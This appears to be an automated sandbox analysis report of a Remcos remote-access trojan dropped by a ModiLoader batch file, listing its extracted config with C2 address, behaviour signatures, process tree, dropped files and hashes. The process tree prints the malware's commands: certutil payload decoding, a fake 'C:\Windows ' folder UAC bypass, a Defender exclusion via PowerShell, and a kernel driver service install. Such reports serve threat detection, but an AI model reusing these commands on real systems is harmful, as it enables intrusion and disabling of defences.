Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/02/2024, 04:09

General

  • Target
    db5c362b0b4ec0a9bbc7b2c5a186a22019c82c2a96a7c326fad2e1f095de22db.bat
  • Size 2.2MB
  • Sample240221-eq3zrabc41
  • SHA256 db5c362b0b4ec0a9bbc7b2c5a186a22019c82c2a96a7c326fad2e1f095de22db
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • RemoteHost

C2
  • swjurf.work.gd:9231

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    hgjbhk

  • mouse_option

    false

  • mutex

    Rmc-BM92FA

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 15 IoCs
  • ModiLoader Second Stage 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\db5c362b0b4ec0a9bbc7b2c5a186a22019c82c2a96a7c326fad2e1f095de22db.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1372
    • C:\Windows\system32\cmd.exe
      cmd /c certutil -decodehex "C:\Users\Admin\AppData\Local\Temp\db5c362b0b4ec0a9bbc7b2c5a186a22019c82c2a96a7c326fad2e1f095de22db.bat" "C:\Users\Public\pointer.com" 3
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4640
      • C:\Windows\system32\certutil.exe
        certutil -decodehex "C:\Users\Admin\AppData\Local\Temp\db5c362b0b4ec0a9bbc7b2c5a186a22019c82c2a96a7c326fad2e1f095de22db.bat" "C:\Users\Public\pointer.com" 3
        3⤵
          PID:4704
      • C:\Windows\system32\PING.EXE
        PING -n 3 127.0.0.1
        2⤵
        • Runs ping.exe
        PID:2528
      • C:\Users\Public\pointer.com
        C:\Users\Public\pointer.com
        2⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:1664
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\SoxqluztO.bat" "
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2316
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c mkdir "\\?\C:\Windows "
            4⤵
              PID:4672
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
              4⤵
                PID:1580
              • C:\Windows\SysWOW64\xcopy.exe
                xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y
                4⤵
                • Enumerates system info in registry
                PID:2448
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
                4⤵
                  PID:2080
                • C:\Windows\SysWOW64\xcopy.exe
                  xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y
                  4⤵
                  • Enumerates system info in registry
                  PID:2532
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
                  4⤵
                    PID:2580
                  • C:\Windows\SysWOW64\xcopy.exe
                    xcopy "KDECO.bat" "C:\Windows \System32\" /K /D /H /Y
                    4⤵
                    • Enumerates system info in registry
                    PID:4524
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
                    4⤵
                      PID:2028
                    • C:\Windows\SysWOW64\xcopy.exe
                      xcopy "x.bat" "C:\Windows \System32\" /K /D /H /Y
                      4⤵
                      • Enumerates system info in registry
                      PID:4664
                    • C:\Windows \System32\easinvoker.exe
                      "C:\\Windows \\System32\\easinvoker.exe"
                      4⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of WriteProcessMemory
                      PID:1404
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3508
                        • C:\Windows\system32\cmd.exe
                          cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                          6⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3436
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                            7⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3404
                        • C:\Windows\system32\sc.exe
                          sc.exe create truesight binPath="C:\Users\Public\Libraries\truesight.sys" type=kernel
                          6⤵
                          • Launches sc.exe
                          PID:544
                        • C:\Windows\system32\sc.exe
                          sc.exe start truesight
                          6⤵
                          • Launches sc.exe
                          PID:2420
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c "C:\\Windows \\System32\\easinvoker.exe"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2120
                    • C:\Windows \System32\easinvoker.exe
                      "C:\\Windows \\System32\\easinvoker.exe"
                      4⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:884
                  • C:\Windows\SysWOW64\colorcpl.exe
                    C:\Windows\System32\colorcpl.exe
                    3⤵
                    • Suspicious use of SetWindowsHookEx
                    PID:3992

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    logs.dat

                    • Path C:\ProgramData\hgjbhk\logs.dat
                    • Size 144B
                    • SHA256 d08ff5c4cd293325be53fc6544acb1fa1ee674e57fa042f0b8be01bbca6ac0da
                    • MD5 SHA1 SHA512

                    __PSScriptPolicyTest_f4qutvud.qxc.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f4qutvud.qxc.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512

                    KDECO.bat

                    • Path C:\Users\Public\Libraries\KDECO.bat
                    • Size 4KB
                    • SHA256 c8e1912a3328802e98563e32eb053ae3e28249b701054af227e9f1ba6bfe24d9
                    • MD5 SHA1 SHA512 SSDEEP

                    SoxqluztO.bat

                    • Path C:\Users\Public\Libraries\SoxqluztO.bat
                    • Size 7KB
                    • SHA256 f46e0cc2c119a32dd87edf97bfc73d985ee97d2c9dc00274b6b20d641e29deea
                    • MD5 SHA1 SHA512 SSDEEP

                    easinvoker.exe

                    • Path C:\Users\Public\Libraries\easinvoker.exe
                    • Size 128KB
                    • SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
                    • MD5 SHA1 SHA512 SSDEEP

                    netutils.dll

                    • Path C:\Users\Public\Libraries\netutils.dll
                    • Size 115KB
                    • SHA256 ae33f291a6f2011ca147c2b48035743aba3c507dcef86e1fa6acb4dee47cbf43
                    • MD5 SHA1 SHA512 SSDEEP

                    pointer.com

                    • Path C:\Users\Public\pointer.com
                    • Size 1.3MB
                    • SHA256 699a27d39fd0baa6dee651adf1995ca6eb168657b41235fd0d2cd74c738a8cac
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/884-51-0x00000000613C0000-0x00000000613E3000-memory.dmp

                    memory/1404-29-0x00000000613C0000-0x00000000613E3000-memory.dmp

                    memory/1664-8-0x0000000000400000-0x0000000000558000-memory.dmp

                    memory/1664-4-0x0000000000880000-0x0000000000881000-memory.dmp

                    memory/1664-6-0x00000000049D0000-0x00000000059D0000-memory.dmp

                    memory/1664-5-0x00000000049D0000-0x00000000059D0000-memory.dmp

                    memory/3404-43-0x000001EEADBA0000-0x000001EEADBB0000-memory.dmp

                    memory/3404-44-0x000001EEADBA0000-0x000001EEADBB0000-memory.dmp

                    memory/3404-46-0x00007FF8CAD70000-0x00007FF8CB831000-memory.dmp

                    memory/3404-42-0x00007FF8CAD70000-0x00007FF8CB831000-memory.dmp

                    memory/3404-32-0x000001EEADAE0000-0x000001EEADB02000-memory.dmp

                    memory/3992-55-0x0000000001200000-0x0000000002200000-memory.dmp

                    memory/3992-67-0x0000000001200000-0x0000000002200000-memory.dmp

                    memory/3992-57-0x0000000001200000-0x0000000002200000-memory.dmp

                    memory/3992-58-0x0000000001200000-0x0000000002200000-memory.dmp

                    memory/3992-59-0x0000000001200000-0x0000000002200000-memory.dmp

                    memory/3992-60-0x0000000001200000-0x0000000002200000-memory.dmp

                    memory/3992-66-0x0000000001200000-0x0000000002200000-memory.dmp

                    memory/3992-56-0x0000000001200000-0x0000000002200000-memory.dmp

                    memory/3992-52-0x0000000001200000-0x0000000002200000-memory.dmp

                    memory/3992-74-0x0000000001200000-0x0000000002200000-memory.dmp

                    memory/3992-75-0x0000000001200000-0x0000000002200000-memory.dmp

                    memory/3992-82-0x0000000001200000-0x0000000002200000-memory.dmp

                    memory/3992-83-0x0000000001200000-0x0000000002200000-memory.dmp

                    memory/3992-90-0x0000000001200000-0x0000000002200000-memory.dmp

                    memory/3992-91-0x0000000001200000-0x0000000002200000-memory.dmp